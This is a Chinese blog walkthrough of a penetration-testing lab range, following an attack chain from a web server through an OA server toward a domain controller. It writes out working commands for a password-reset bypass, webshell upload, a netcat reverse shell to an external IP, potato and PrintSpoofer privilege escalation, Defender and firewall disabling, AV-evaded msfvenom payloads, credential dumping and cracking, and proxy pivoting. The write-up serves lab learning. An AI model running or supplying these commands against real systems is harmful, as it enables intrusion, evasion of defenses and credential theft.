暗月内网靶场
🔥系列专栏:暗月内网靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年3月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
环境搭建
WEB 服务器是双网卡
第一块网卡桥接 ip 段是 192.168.0.0/24
第二块网卡 vmnet18 10.10.1.0/24
oa 服务器
第一块网卡 vmnet18 10.10.1.0/24
第二块网卡 vmnet19 10.10.10.0/24
dc 域控
网卡 vmnet19 10.10.10.0/24
调整
因为OA的机器我们在外网如果不想调整自己机器的IP的话,就不太好访问,所以我们修改被写死的OA的IP,从而方便我们访问
以下的操作均在OA机器中
第一层
外网打点
如下命令对整个IP段进行扫活,找到存活的主机
sudo netdiscover -i eth0 -r 192.168.0.0/24
而后进行快速扫描,以及深入的扫描
masscan 192.168.74.139 -p 1-65535 --rate=100
而后nmap进行服务扫描
同时我们修改一下HOST文件,因为域名已知
访问到一个空白
随便加点东西,我加了index.php
网站报错
看到是安全狗
这里可以用很多种方法来绕过WAF进行目录爆破
最好用的是代理池,随便扫,只不过要花点小钱
这里暗月师傅给出了一个脚本
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time
# url = "http://www.moonlab.com"
with open ('dicc.txt','r',encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
url = 'http://www.moonlab.com/'+dirs.strip('\n')
resp = requests.get(url)
strlen = len(resp.text)
print(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen))
#sys.exit()
time.sleep(2)
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
if str(strlen) != "2939":
with open('url.txt','a',encoding='UTF-8') as writefile:
writefile.write(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen)+'\n')
扫到了robots.txt
但是这个文件哪怕没有扫目录前都要看,这是小迪师傅教的
所以我发现了
r-agent: *
Disallow: /SiteServer/
Disallow: /SiteFiles/
Disallow: /UserCenter/
同样的,得到这三个本应该不允许访问的目录,应该访问一下
http://www.moonlab.com/siteserver/
这个页面有siteserver的登陆页面,并且泄露出了版本
我们可以寻找公开EXP
系统版本: 3.6.4
.NET 版本: 2.0
数据库: Microsoft SQL Server
发现可能会存在sql注入和管理员密码重置漏洞
SQL我就不写了。。
有点复杂我没玩,有空了再研究研究
siteserver密码重置漏洞
点击忘记密码
而后输入admin用户民
抓包修改红框参数为空
就显示出密码是admin5566
而后进来以后
如下路径可以上传马
站点管理-》显示管理-》模板管理-》添加单页模板-》直接生成aspx
而后写入冰蝎的马(有一个各种马的生成器)
然后点击后面的@.aspx
即可得到路径
提权信息收集
拿到shell之后,我们进行一个基于shell的信息收集,因为是网马,所以手段有限
whoami /all //没啥说的
systeminfo //主要看域名以及位数,方便后续进攻
ipconfig /all //一般会看到域名
netstat -ano //查看开放端口(有一个999好像是siteserveer的端口)
net start //查看服务,可以从中分辨出AV
whoami /priv //查看有没有错误配置
总结一下:
web 服务器有双网卡
两个 ip 分别是192.168.0.114和 10.10.1.131 ,发现了新网段 10.10.1.0/24
当前是 普通用户权限
服务器有 WAF,windows defender 等防护措施
Ethernet0:192.168.0.114
Ethernet1:10.10.1.131
SeImpersonatePrivilege权限错误
这个可以利用两种方式,一种是流氓兔都,一种是打印机服务(之前检查服务的时候也是开启的)
流氓土豆
利用条件:
- SeImpersonatePrivilege开启
https://github.com/antonioCoco/JuicyPotatoNG/releases/tag/v1.1
.\JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c C:\\Users\\alice\\Desktop\\nc.exe -e cmd 192.168.119.175 443" -l 443
PrintSpoofer 提权
由于存在WAF和防火墙,还要注意免杀处理
使用前提:
- SeImpersonatePrivilege开启
- 打印机服务开启
https://github.com/itm4n/PrintSpoofer
PrintSpoofer64.exe -i -c "whoami"
这里因为printspoofer被杀了,所以我用掩日做了一个免杀,所以更改了文件名
接下来上传一个免杀过的杀defender的工具
把defender杀了
https://github.com/APTortellini/DefenderSwitch
制作免杀反连马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.74.132 LPORT=8888 -e x86/shikata_ga_nai -i 20 -f c -o shell.txt
cat shell.txt 复制下来
也可以直接生成exe文件,然后去直接用做免杀,但是生成C来说的话效果好些
而后放到掩盖日里去编译混淆(注意不要勾选64位编译)
也可以直接用MSFPRO去做免杀,我没试,据说非常好用
而后开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
run
而后来执行
PrintSpoofer64.exe -i -c “notepad.exe”
而后迁移进程
找一个system的以及一个admin的
派发CS
注意,下图192.168.74.131是我cs服务端的ip,端口也是,而不是cs客户端的ip,因为我用的windows的cs,kali开的服务
而后msf设置
bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost x.x.x.x #cobaltstrike服务端IP
set lport 14444 #cobaltstrike监听的端口
set session 1 #这里是获得的session的id
run
而后CS获得一个会话
利用CS进行横向
hashdump
logonpasswords
administrator
!@#QWE123
拿到明文密码
利用MSF进行横向
hashdump获得密码
可以放到somd5解密
或者直接用hashcat
hashcat -a 0 -m 1000 hash.txt rockyou.txt --force -a 0 字典模式 -m 是类型 hash.txt 是 ntml rockyou 是字典
登录RDP消除痕迹关闭杀软
如图现在机器设置上允许登录
其实可以不做这一步,因为DEFENDER已经被杀了,其他的影响不算太大
第 二层
首先获得一个shell最先要做的就是要知道自己在哪里,下一步要去哪里
他跟10.10.1.0网段有沟通,结合之前信息收集的结果,下一个网段确定为10.10.1.0
添加路由
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.1.0/24
查看添加的路由表信息
run autoroute -p
添加代理
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run
内网存活探测
run arp_scanner -r 10.10.1.0/24
或者
proxychains nmap -sT -Pn 10.10.1.0/24
得到存活的主机如下
10.10.1.130
对其进行端口扫描
proxychains masscan -p 1-65535 10.10.1.130 --rate=500
进行服务探测
proxychains nmap -sT -Pn 10.10.1.130 -p
80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200,
9300 ,11211,27017,27018 ,50000,50070,50030,21,22,23,2601,3389 --open
80端口开放通达OA
通达OA getshell
直接用综合利用工具,直接上,然后webshell管理器连接即可
第二层内网信息探测
whoami /all
systeminfo
systeminfo
可以看到OA服务器所处在的域(attack.local)
ipconfig
可以有两块网卡信息,划重点
Ethernet0:10.10.1.10
Ethernet1:10.10.10.166
netstat -ano //开放的端口
net start //开启的服务
tasklist /svc //进程列表,放进掩日可以看到杀软
信息整理
oa 服务器有双网卡
两个 ip 分别是 10.10.1.130 和 10.10.10.166,发现了新网段 10.10.10.0/24
当前是 system 权限
服务器有 360 安全卫士,360 杀毒软件,windows firewall 等防护措施
关闭防火墙
NetSh Advfirewall set allprofiles state off
现在应该有好几个端口新开放了
我们再次使用MASSCAN扫描一下
proxychains -f /etc/proxychains4.conf masscan -p 1-65535 10.10.1.130 --rate=500
正向上线
正向相对方便
如果做反向的话还要做
做两个马
一个CS一个MSF,处理免杀后分别上线
先添加一个tcp监听,然后使用Windows Executable(Stageless)生成payload
msfvenom -p windows/meterpreter/bind_tcp LPORT=3344 -e x86/shikata_ga_nai -i 20 -f c -o bind.txt
而后掩日处理
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130
set lport 3344
run
而后蚁剑虚拟终端执行以下然后msf中才run
CS是建立监听器,而后
生成一个stageless的exe马,而后直接放蚁剑就行
connect 10.10.1.130 5566
而后开始横向
横向
明文没抓到,因为是2012,抓到一个管理员
administrator !@#Q123
但是看c:/user下
说明存在域控登陆过
但是我看暗月师傅凭证拿到了DC的密码
但是我这没有
不知道为啥
信息搜集
MSF搜集
MSF里查看登陆过的用户也能看到
记录一下
S-1-5-21-4052809752-717748265-227546684-500
接下来在MSF中进行一波搜集
run post/windows/gather/enum_logged_on_users登陆域的用户信息
run post/windows/gather/enum_ad_computers域内PC
看起来就剩一个DC了
run post/windows/gather/enum_ad_groups组信息
run post/windows/gather/enum_domain域控名和DC的IP
定位到了
CS也可
CMD搜集
net user /domain 查看域内用户
chcp 65001
net group /domain查看域控所在组
net localgroup administrators /domain查看登陆域内的管理员用户
net group "domain admins" /domain查看域内管理员用户
net group "domain controllers" /domain查看域控
CS搜集
net domain
net computers域控登录的主机信息
net domain_controllers域控的主机名以及ip信息
net domain_trusts 域控信息、用户名
net logons 所有登录域的用户信息
net sessions会话
net share 共享
搭建路由
run autoroute -s 10.10.10.0/24
run autoroute -p
服务探测
proxychains4 -f /etc/proxychains4.conf masscan -p 1-65535 10.10.10.165 --rate=500
proxychains4 -f /etc/proxychains4.conf nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,21,22,23,2601,3389 --open
发现开启了3389
获取DC
直接3389登录
最后这一步我是没有打出来的
因为我在OA机器上hashdump的时候没有获得DC的密码
所以打不进去
可能是环境问题
先到这里
下一个靶场弥补一下今天的不足